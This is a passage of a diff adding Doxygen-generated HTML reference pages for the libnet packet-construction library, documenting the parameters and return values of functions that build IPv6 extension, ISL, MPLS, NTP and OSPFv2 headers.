+ <tr><td valign=top><em>nh</em>&nbsp;</td><td>next header </td></tr>
+ <tr><td valign=top><em>len</em>&nbsp;</td><td>length of the header in 8-byte octets not including the first 8 octets </td></tr>
+ <tr><td valign=top><em>payload</em>&nbsp;</td><td>options payload </td></tr>
+ <tr><td valign=top><em>payload_s</em>&nbsp;</td><td>payload length </td></tr>
+ <tr><td valign=top><em>l</em>&nbsp;</td><td>pointer to a libnet context </td></tr>
+ <tr><td valign=top><em>ptag</em>&nbsp;</td><td>protocol tag to modify an existing header, 0 to build a new one </td></tr>
+ </table>
+</dl>
+<dl compact><dt><b>Returns:</b></dt><dd>protocol tag value on success, -1 on error </dd></dl>
+ </td>
+ </tr>
+</table>
+<a class="anchor" name="a49" doxytag="libnet-functions.h::libnet_build_ipv6_frag" ></a><p>
+<table class="mdTable" width="100%" cellpadding="2" cellspacing="0">
+ <tr>
+ <td class="mdRow">
+ <table cellpadding="0" cellspacing="0" border="0">
+ <tr>
+ <td class="md" nowrap valign="top"> libnet_ptag_t libnet_build_ipv6_frag </td>
+ <td class="md" valign="top">(&nbsp;</td>
+ <td class="md" nowrap valign="top">u_int8_t&nbsp;</td>
+ <td class="mdname" nowrap> <em>nh</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>u_int8_t&nbsp;</td>
+ <td class="mdname" nowrap> <em>reserved</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>u_int16_t&nbsp;</td>
+ <td class="mdname" nowrap> <em>frag</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>u_int32_t&nbsp;</td>
+ <td class="mdname" nowrap> <em>id</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>u_int8_t *&nbsp;</td>
+ <td class="mdname" nowrap> <em>payload</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>u_int32_t&nbsp;</td>
+ <td class="mdname" nowrap> <em>payload_s</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>libnet_t *&nbsp;</td>
+ <td class="mdname" nowrap> <em>l</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>libnet_ptag_t&nbsp;</td>
+ <td class="mdname" nowrap> <em>ptag</em></td>
+ </tr>
+ <tr>
+ <td></td>
+ <td class="md">)&nbsp;</td>
+ <td class="md" colspan="2"></td>
+ </tr>
+
+ </table>
+ </td>
+ </tr>
+</table>
+<table cellspacing=5 cellpadding=0 border=0>
+ <tr>
+ <td>
+ &nbsp;
+ </td>
+ <td>
+
+<p>
+Builds a version 6 RFC 2460 Internet Protocol (IP) fragmentation header. <dl compact><dt><b>Parameters:</b></dt><dd>
+ <table border="0" cellspacing="2" cellpadding="0">
+ <tr><td valign=top><em>nh</em>&nbsp;</td><td>next header </td></tr>
+ <tr><td valign=top><em>reserved</em>&nbsp;</td><td>unused value... OR IS IT! </td></tr>
+ <tr><td valign=top><em>frag</em>&nbsp;</td><td>fragmentation bits (ala ipv4) </td></tr>
+ <tr><td valign=top><em>id</em>&nbsp;</td><td>packet identification </td></tr>
+ <tr><td valign=top><em>payload</em>&nbsp;</td><td>optional payload or NULL </td></tr>
+ <tr><td valign=top><em>payload_s</em>&nbsp;</td><td>payload length or 0 </td></tr>
+ <tr><td valign=top><em>l</em>&nbsp;</td><td>pointer to a libnet context </td></tr>
+ <tr><td valign=top><em>ptag</em>&nbsp;</td><td>protocol tag to modify an existing header, 0 to build a new one </td></tr>
+ </table>
+</dl>
+<dl compact><dt><b>Returns:</b></dt><dd>protocol tag value on success, -1 on error </dd></dl>
+ </td>
+ </tr>
+</table>
+<a class="anchor" name="a52" doxytag="libnet-functions.h::libnet_build_ipv6_hbhopts" ></a><p>
+<table class="mdTable" width="100%" cellpadding="2" cellspacing="0">
+ <tr>
+ <td class="mdRow">
+ <table cellpadding="0" cellspacing="0" border="0">
+ <tr>
+ <td class="md" nowrap valign="top"> libnet_ptag_t libnet_build_ipv6_hbhopts </td>
+ <td class="md" valign="top">(&nbsp;</td>
+ <td class="md" nowrap valign="top">u_int8_t&nbsp;</td>
+ <td class="mdname" nowrap> <em>nh</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>u_int8_t&nbsp;</td>
+ <td class="mdname" nowrap> <em>len</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>u_int8_t *&nbsp;</td>
+ <td class="mdname" nowrap> <em>payload</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>u_int32_t&nbsp;</td>
+ <td class="mdname" nowrap> <em>payload_s</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>libnet_t *&nbsp;</td>
+ <td class="mdname" nowrap> <em>l</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>libnet_ptag_t&nbsp;</td>
+ <td class="mdname" nowrap> <em>ptag</em></td>
+ </tr>
+ <tr>
+ <td></td>
+ <td class="md">)&nbsp;</td>
+ <td class="md" colspan="2"></td>
+ </tr>
+
+ </table>
+ </td>
+ </tr>
+</table>
+<table cellspacing=5 cellpadding=0 border=0>
+ <tr>
+ <td>
+ &nbsp;
+ </td>
+ <td>
+
+<p>
+Builds a version 6 RFC 2460 Internet Protocol (IP) hop by hop options header. This function is special in that it uses the payload interface to include the options data. The application programmer will build an IPv6 hop by hop options byte string and pass it to the function using the payload interface. <dl compact><dt><b>Parameters:</b></dt><dd>
+ <table border="0" cellspacing="2" cellpadding="0">
+ <tr><td valign=top><em>nh</em>&nbsp;</td><td>next header </td></tr>
+ <tr><td valign=top><em>len</em>&nbsp;</td><td>length of the header in 8-byte octets not including the first 8 octets </td></tr>
+ <tr><td valign=top><em>payload</em>&nbsp;</td><td>options payload </td></tr>
+ <tr><td valign=top><em>payload_s</em>&nbsp;</td><td>payload length </td></tr>
+ <tr><td valign=top><em>l</em>&nbsp;</td><td>pointer to a libnet context </td></tr>
+ <tr><td valign=top><em>ptag</em>&nbsp;</td><td>protocol tag to modify an existing header, 0 to build a new one </td></tr>
+ </table>
+</dl>
+<dl compact><dt><b>Returns:</b></dt><dd>protocol tag value on success, -1 on error </dd></dl>
+ </td>
+ </tr>
+</table>
+<a class="anchor" name="a50" doxytag="libnet-functions.h::libnet_build_ipv6_routing" ></a><p>
+<table class="mdTable" width="100%" cellpadding="2" cellspacing="0">
+ <tr>
+ <td class="mdRow">
+ <table cellpadding="0" cellspacing="0" border="0">
+ <tr>
+ <td class="md" nowrap valign="top"> libnet_ptag_t libnet_build_ipv6_routing </td>
+ <td class="md" valign="top">(&nbsp;</td>
+ <td class="md" nowrap valign="top">u_int8_t&nbsp;</td>
+ <td class="mdname" nowrap> <em>nh</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>u_int8_t&nbsp;</td>
+ <td class="mdname" nowrap> <em>len</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>u_int8_t&nbsp;</td>
+ <td class="mdname" nowrap> <em>rtype</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>u_int8_t&nbsp;</td>
+ <td class="mdname" nowrap> <em>segments</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>u_int8_t *&nbsp;</td>
+ <td class="mdname" nowrap> <em>payload</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>u_int32_t&nbsp;</td>
+ <td class="mdname" nowrap> <em>payload_s</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>libnet_t *&nbsp;</td>
+ <td class="mdname" nowrap> <em>l</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>libnet_ptag_t&nbsp;</td>
+ <td class="mdname" nowrap> <em>ptag</em></td>
+ </tr>
+ <tr>
+ <td></td>
+ <td class="md">)&nbsp;</td>
+ <td class="md" colspan="2"></td>
+ </tr>
+
+ </table>
+ </td>
+ </tr>
+</table>
+<table cellspacing=5 cellpadding=0 border=0>
+ <tr>
+ <td>
+ &nbsp;
+ </td>
+ <td>
+
+<p>
+Builds a version 6 RFC 2460 Internet Protocol (IP) routing header. This function is special in that it uses the payload interface to include the "type-specific data"; that is the routing information. Most often this will be a number of 128-bit IPv6 addresses. The application programmer will build a byte string of IPv6 address and pass them to the function using the payload interface. <dl compact><dt><b>Parameters:</b></dt><dd>
+ <table border="0" cellspacing="2" cellpadding="0">
+ <tr><td valign=top><em>nh</em>&nbsp;</td><td>next header </td></tr>
+ <tr><td valign=top><em>len</em>&nbsp;</td><td>length of the header in 8-byte octets not including the first 8 octets routing header type </td></tr>
+ <tr><td valign=top><em>segments</em>&nbsp;</td><td>number of routing segments that follow </td></tr>
+ <tr><td valign=top><em>payload</em>&nbsp;</td><td>optional payload of routing information </td></tr>
+ <tr><td valign=top><em>payload_s</em>&nbsp;</td><td>payload length </td></tr>
+ <tr><td valign=top><em>l</em>&nbsp;</td><td>pointer to a libnet context </td></tr>
+ <tr><td valign=top><em>ptag</em>&nbsp;</td><td>protocol tag to modify an existing header, 0 to build a new one </td></tr>
+ </table>
+</dl>
+<dl compact><dt><b>Returns:</b></dt><dd>protocol tag value on success, -1 on error </dd></dl>
+ </td>
+ </tr>
+</table>
+<a class="anchor" name="a54" doxytag="libnet-functions.h::libnet_build_isl" ></a><p>
+<table class="mdTable" width="100%" cellpadding="2" cellspacing="0">
+ <tr>
+ <td class="mdRow">
+ <table cellpadding="0" cellspacing="0" border="0">
+ <tr>
+ <td class="md" nowrap valign="top"> libnet_ptag_t libnet_build_isl </td>
+ <td class="md" valign="top">(&nbsp;</td>
+ <td class="md" nowrap valign="top">u_int8_t *&nbsp;</td>
+ <td class="mdname" nowrap> <em>dhost</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>u_int8_t&nbsp;</td>
+ <td class="mdname" nowrap> <em>type</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>u_int8_t&nbsp;</td>
+ <td class="mdname" nowrap> <em>user</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>u_int8_t *&nbsp;</td>
+ <td class="mdname" nowrap> <em>shost</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>u_int16_t&nbsp;</td>
+ <td class="mdname" nowrap> <em>len</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>u_int8_t *&nbsp;</td>
+ <td class="mdname" nowrap> <em>snap</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>u_int16_t&nbsp;</td>
+ <td class="mdname" nowrap> <em>vid</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>u_int16_t&nbsp;</td>
+ <td class="mdname" nowrap> <em>index</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>u_int16_t&nbsp;</td>
+ <td class="mdname" nowrap> <em>reserved</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>u_int8_t *&nbsp;</td>
+ <td class="mdname" nowrap> <em>payload</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>u_int32_t&nbsp;</td>
+ <td class="mdname" nowrap> <em>payload_s</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>libnet_t *&nbsp;</td>
+ <td class="mdname" nowrap> <em>l</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>libnet_ptag_t&nbsp;</td>
+ <td class="mdname" nowrap> <em>ptag</em></td>
+ </tr>
+ <tr>
+ <td></td>
+ <td class="md">)&nbsp;</td>
+ <td class="md" colspan="2"></td>
+ </tr>
+
+ </table>
+ </td>
+ </tr>
+</table>
+<table cellspacing=5 cellpadding=0 border=0>
+ <tr>
+ <td>
+ &nbsp;
+ </td>
+ <td>
+
+<p>
+Builds a Cisco Inter-Switch Link (ISL) header. <dl compact><dt><b>Parameters:</b></dt><dd>
+ <table border="0" cellspacing="2" cellpadding="0">
+ <tr><td valign=top><em>dhost</em>&nbsp;</td><td>destination address (should be 01:00:0c:00:00) </td></tr>
+ <tr><td valign=top><em>type</em>&nbsp;</td><td>type of frame </td></tr>
+ <tr><td valign=top><em>user</em>&nbsp;</td><td>user defined data </td></tr>
+ <tr><td valign=top><em>shost</em>&nbsp;</td><td>source mac address </td></tr>
+ <tr><td valign=top><em>len</em>&nbsp;</td><td>total length of the encapuslated packet less 18 bytes </td></tr>
+ <tr><td valign=top><em>snap</em>&nbsp;</td><td>SNAP information (0xaaaa03 + vendor code) </td></tr>
+ <tr><td valign=top><em>vid</em>&nbsp;</td><td>15 bit VLAN ID, 1 bit BPDU or CDP indicator </td></tr>
+ <tr><td valign=top><em>index</em>&nbsp;</td><td>port index </td></tr>
+ <tr><td valign=top><em>reserved</em>&nbsp;</td><td>used for FDDI and token ring </td></tr>
+ <tr><td valign=top><em>payload</em>&nbsp;</td><td>optional payload or NULL </td></tr>
+ <tr><td valign=top><em>payload_s</em>&nbsp;</td><td>payload length or 0 </td></tr>
+ <tr><td valign=top><em>l</em>&nbsp;</td><td>pointer to a libnet context </td></tr>
+ <tr><td valign=top><em>ptag</em>&nbsp;</td><td>protocol tag to modify an existing header, 0 to build a new one </td></tr>
+ </table>
+</dl>
+<dl compact><dt><b>Returns:</b></dt><dd>protocol tag value on success, -1 on error </dd></dl>
+ </td>
+ </tr>
+</table>
+<a class="anchor" name="a91" doxytag="libnet-functions.h::libnet_build_link" ></a><p>
+<table class="mdTable" width="100%" cellpadding="2" cellspacing="0">
+ <tr>
+ <td class="mdRow">
+ <table cellpadding="0" cellspacing="0" border="0">
+ <tr>
+ <td class="md" nowrap valign="top"> libnet_ptag_t libnet_build_link </td>
+ <td class="md" valign="top">(&nbsp;</td>
+ <td class="md" nowrap valign="top">u_int8_t *&nbsp;</td>
+ <td class="mdname" nowrap> <em>dst</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>u_int8_t *&nbsp;</td>
+ <td class="mdname" nowrap> <em>src</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>u_int8_t *&nbsp;</td>
+ <td class="mdname" nowrap> <em>oui</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>u_int16_t&nbsp;</td>
+ <td class="mdname" nowrap> <em>type</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>u_int8_t *&nbsp;</td>
+ <td class="mdname" nowrap> <em>payload</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>u_int32_t&nbsp;</td>
+ <td class="mdname" nowrap> <em>payload_s</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>libnet_t *&nbsp;</td>
+ <td class="mdname" nowrap> <em>l</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>libnet_ptag_t&nbsp;</td>
+ <td class="mdname" nowrap> <em>ptag</em></td>
+ </tr>
+ <tr>
+ <td></td>
+ <td class="md">)&nbsp;</td>
+ <td class="md" colspan="2"></td>
+ </tr>
+
+ </table>
+ </td>
+ </tr>
+</table>
+<table cellspacing=5 cellpadding=0 border=0>
+ <tr>
+ <td>
+ &nbsp;
+ </td>
+ <td>
+
+<p>
+Builds a link layer header for an initialized l. The function determines the proper link layer header format from how l was initialized. The function current supports Ethernet and Token Ring link layers. <dl compact><dt><b>Parameters:</b></dt><dd>
+ <table border="0" cellspacing="2" cellpadding="0">
+ <tr><td valign=top><em>dst</em>&nbsp;</td><td>the destination MAC address </td></tr>
+ <tr><td valign=top><em>src</em>&nbsp;</td><td>the source MAC address </td></tr>
+ <tr><td valign=top><em>oui</em>&nbsp;</td><td>Organizationally Unique Identifier (unused for Ethernet) </td></tr>
+ <tr><td valign=top><em>type</em>&nbsp;</td><td>the upper layer protocol type </td></tr>
+ <tr><td valign=top><em>payload</em>&nbsp;</td><td>optional payload or NULL </td></tr>
+ <tr><td valign=top><em>payload_s</em>&nbsp;</td><td>payload length or 0 </td></tr>
+ <tr><td valign=top><em>l</em>&nbsp;</td><td>pointer to a libnet context </td></tr>
+ <tr><td valign=top><em>ptag</em>&nbsp;</td><td>protocol tag to modify an existing header, 0 to build a new one </td></tr>
+ </table>
+</dl>
+<dl compact><dt><b>Returns:</b></dt><dd>protocol tag value on success, -1 on error </dd></dl>
+ </td>
+ </tr>
+</table>
+<a class="anchor" name="a66" doxytag="libnet-functions.h::libnet_build_mpls" ></a><p>
+<table class="mdTable" width="100%" cellpadding="2" cellspacing="0">
+ <tr>
+ <td class="mdRow">
+ <table cellpadding="0" cellspacing="0" border="0">
+ <tr>
+ <td class="md" nowrap valign="top"> libnet_ptag_t libnet_build_mpls </td>
+ <td class="md" valign="top">(&nbsp;</td>
+ <td class="md" nowrap valign="top">u_int32_t&nbsp;</td>
+ <td class="mdname" nowrap> <em>label</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>u_int8_t&nbsp;</td>
+ <td class="mdname" nowrap> <em>experimental</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>u_int8_t&nbsp;</td>
+ <td class="mdname" nowrap> <em>bos</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>u_int8_t&nbsp;</td>
+ <td class="mdname" nowrap> <em>ttl</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>u_int8_t *&nbsp;</td>
+ <td class="mdname" nowrap> <em>payload</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>u_int32_t&nbsp;</td>
+ <td class="mdname" nowrap> <em>payload_s</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>libnet_t *&nbsp;</td>
+ <td class="mdname" nowrap> <em>l</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>libnet_ptag_t&nbsp;</td>
+ <td class="mdname" nowrap> <em>ptag</em></td>
+ </tr>
+ <tr>
+ <td></td>
+ <td class="md">)&nbsp;</td>
+ <td class="md" colspan="2"></td>
+ </tr>
+
+ </table>
+ </td>
+ </tr>
+</table>
+<table cellspacing=5 cellpadding=0 border=0>
+ <tr>
+ <td>
+ &nbsp;
+ </td>
+ <td>
+
+<p>
+Builds an RFC 3032 Multi-Protocol Label Switching (MPLS) header. <dl compact><dt><b>Parameters:</b></dt><dd>
+ <table border="0" cellspacing="2" cellpadding="0">
+ <tr><td valign=top><em>label</em>&nbsp;</td><td>20-bit label value </td></tr>
+ <tr><td valign=top><em>experimental</em>&nbsp;</td><td>3-bit reserved field </td></tr>
+ <tr><td valign=top><em>bos</em>&nbsp;</td><td>1-bit bottom of stack identifier </td></tr>
+ <tr><td valign=top><em>ttl</em>&nbsp;</td><td>time to live </td></tr>
+ <tr><td valign=top><em>payload</em>&nbsp;</td><td>optional payload or NULL </td></tr>
+ <tr><td valign=top><em>payload_s</em>&nbsp;</td><td>payload length or 0 </td></tr>
+ <tr><td valign=top><em>l</em>&nbsp;</td><td>pointer to a libnet context </td></tr>
+ <tr><td valign=top><em>ptag</em>&nbsp;</td><td>protocol tag to modify an existing header, 0 to build a new one </td></tr>
+ </table>
+</dl>
+<dl compact><dt><b>Returns:</b></dt><dd>protocol tag value on success, -1 on error </dd></dl>
+ </td>
+ </tr>
+</table>
+<a class="anchor" name="a67" doxytag="libnet-functions.h::libnet_build_ntp" ></a><p>
+<table class="mdTable" width="100%" cellpadding="2" cellspacing="0">
+ <tr>
+ <td class="mdRow">
+ <table cellpadding="0" cellspacing="0" border="0">
+ <tr>
+ <td class="md" nowrap valign="top"> libnet_ptag_t libnet_build_ntp </td>
+ <td class="md" valign="top">(&nbsp;</td>
+ <td class="md" nowrap valign="top">u_int8_t&nbsp;</td>
+ <td class="mdname" nowrap> <em>leap_indicator</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>u_int8_t&nbsp;</td>
+ <td class="mdname" nowrap> <em>version</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>u_int8_t&nbsp;</td>
+ <td class="mdname" nowrap> <em>mode</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>u_int8_t&nbsp;</td>
+ <td class="mdname" nowrap> <em>stratum</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>u_int8_t&nbsp;</td>
+ <td class="mdname" nowrap> <em>poll</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>u_int8_t&nbsp;</td>
+ <td class="mdname" nowrap> <em>precision</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>u_int16_t&nbsp;</td>
+ <td class="mdname" nowrap> <em>delay_int</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>u_int16_t&nbsp;</td>
+ <td class="mdname" nowrap> <em>delay_frac</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>u_int16_t&nbsp;</td>
+ <td class="mdname" nowrap> <em>dispersion_int</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>u_int16_t&nbsp;</td>
+ <td class="mdname" nowrap> <em>dispersion_frac</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>u_int32_t&nbsp;</td>
+ <td class="mdname" nowrap> <em>reference_id</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>u_int32_t&nbsp;</td>
+ <td class="mdname" nowrap> <em>ref_ts_int</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>u_int32_t&nbsp;</td>
+ <td class="mdname" nowrap> <em>ref_ts_frac</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>u_int32_t&nbsp;</td>
+ <td class="mdname" nowrap> <em>orig_ts_int</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>u_int32_t&nbsp;</td>
+ <td class="mdname" nowrap> <em>orig_ts_frac</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>u_int32_t&nbsp;</td>
+ <td class="mdname" nowrap> <em>rec_ts_int</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>u_int32_t&nbsp;</td>
+ <td class="mdname" nowrap> <em>rec_ts_frac</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>u_int32_t&nbsp;</td>
+ <td class="mdname" nowrap> <em>xmt_ts_int</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>u_int32_t&nbsp;</td>
+ <td class="mdname" nowrap> <em>xmt_ts_frac</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>u_int8_t *&nbsp;</td>
+ <td class="mdname" nowrap> <em>payload</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>u_int32_t&nbsp;</td>
+ <td class="mdname" nowrap> <em>payload_s</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>libnet_t *&nbsp;</td>
+ <td class="mdname" nowrap> <em>l</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>libnet_ptag_t&nbsp;</td>
+ <td class="mdname" nowrap> <em>ptag</em></td>
+ </tr>
+ <tr>
+ <td></td>
+ <td class="md">)&nbsp;</td>
+ <td class="md" colspan="2"></td>
+ </tr>
+
+ </table>
+ </td>
+ </tr>
+</table>
+<table cellspacing=5 cellpadding=0 border=0>
+ <tr>
+ <td>
+ &nbsp;
+ </td>
+ <td>
+
+<p>
+Builds an RFC 958 Network Time Protocol (NTP) header. <dl compact><dt><b>Parameters:</b></dt><dd>
+ <table border="0" cellspacing="2" cellpadding="0">
+ <tr><td valign=top><em>leap_indicator</em>&nbsp;</td><td>the leap indicator </td></tr>
+ <tr><td valign=top><em>version</em>&nbsp;</td><td>NTP protocol version </td></tr>
+ <tr><td valign=top><em>mode</em>&nbsp;</td><td>NTP mode </td></tr>
+ <tr><td valign=top><em>stratum</em>&nbsp;</td><td>stratum </td></tr>
+ <tr><td valign=top><em>poll</em>&nbsp;</td><td>polling interval </td></tr>
+ <tr><td valign=top><em>precision</em>&nbsp;</td><td>precision </td></tr>
+ <tr><td valign=top><em>delay_interval</em>&nbsp;</td><td>delay interval </td></tr>
+ <tr><td valign=top><em>delay_frac</em>&nbsp;</td><td>delay fraction </td></tr>
+ <tr><td valign=top><em>dispersion_int</em>&nbsp;</td><td>dispersion interval </td></tr>
+ <tr><td valign=top><em>dispersion_frac</em>&nbsp;</td><td>dispersion fraction </td></tr>
+ <tr><td valign=top><em>reference_id</em>&nbsp;</td><td>reference id </td></tr>
+ <tr><td valign=top><em>ref_ts_int</em>&nbsp;</td><td>reference timestamp integer </td></tr>
+ <tr><td valign=top><em>ref_ts_frac</em>&nbsp;</td><td>reference timestamp fraction </td></tr>
+ <tr><td valign=top><em>orig_ts_int</em>&nbsp;</td><td>original timestamp integer </td></tr>
+ <tr><td valign=top><em>orig_ts_frac</em>&nbsp;</td><td>original timestamp fraction </td></tr>
+ <tr><td valign=top><em>rec_ts_int</em>&nbsp;</td><td>receiver timestamp integer </td></tr>
+ <tr><td valign=top><em>rec_ts_frac</em>&nbsp;</td><td>reciever timestamp fraction </td></tr>
+ <tr><td valign=top><em>xmt_ts_int</em>&nbsp;</td><td>transmit timestamp integer </td></tr>
+ <tr><td valign=top><em>xmt_ts_frac</em>&nbsp;</td><td>transmit timestamp integer </td></tr>
+ <tr><td valign=top><em>payload</em>&nbsp;</td><td>optional payload or NULL </td></tr>
+ <tr><td valign=top><em>payload_s</em>&nbsp;</td><td>payload length or 0 </td></tr>
+ <tr><td valign=top><em>l</em>&nbsp;</td><td>pointer to a libnet context </td></tr>
+ <tr><td valign=top><em>ptag</em>&nbsp;</td><td>protocol tag to modify an existing header, 0 to build a new one </td></tr>
+ </table>
+</dl>
+<dl compact><dt><b>Returns:</b></dt><dd>protocol tag value on success, -1 on error </dd></dl>
+ </td>
+ </tr>
+</table>
+<a class="anchor" name="a68" doxytag="libnet-functions.h::libnet_build_ospfv2" ></a><p>
+<table class="mdTable" width="100%" cellpadding="2" cellspacing="0">
+ <tr>
+ <td class="mdRow">
+ <table cellpadding="0" cellspacing="0" border="0">
+ <tr>
+ <td class="md" nowrap valign="top"> libnet_ptag_t libnet_build_ospfv2 </td>
+ <td class="md" valign="top">(&nbsp;</td>
+ <td class="md" nowrap valign="top">u_int16_t&nbsp;</td>
+ <td class="mdname" nowrap> <em>len</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>u_int8_t&nbsp;</td>
+ <td class="mdname" nowrap> <em>type</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>u_int32_t&nbsp;</td>
+ <td class="mdname" nowrap> <em>rtr_id</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>u_int32_t&nbsp;</td>
+ <td class="mdname" nowrap> <em>area_id</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>u_int16_t&nbsp;</td>
+ <td class="mdname" nowrap> <em>sum</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>u_int16_t&nbsp;</td>
+ <td class="mdname" nowrap> <em>autype</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>u_int8_t *&nbsp;</td>
+ <td class="mdname" nowrap> <em>payload</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>u_int32_t&nbsp;</td>
+ <td class="mdname" nowrap> <em>payload_s</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>libnet_t *&nbsp;</td>
+ <td class="mdname" nowrap> <em>l</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>libnet_ptag_t&nbsp;</td>
+ <td class="mdname" nowrap> <em>ptag</em></td>
+ </tr>
+ <tr>
+ <td></td>
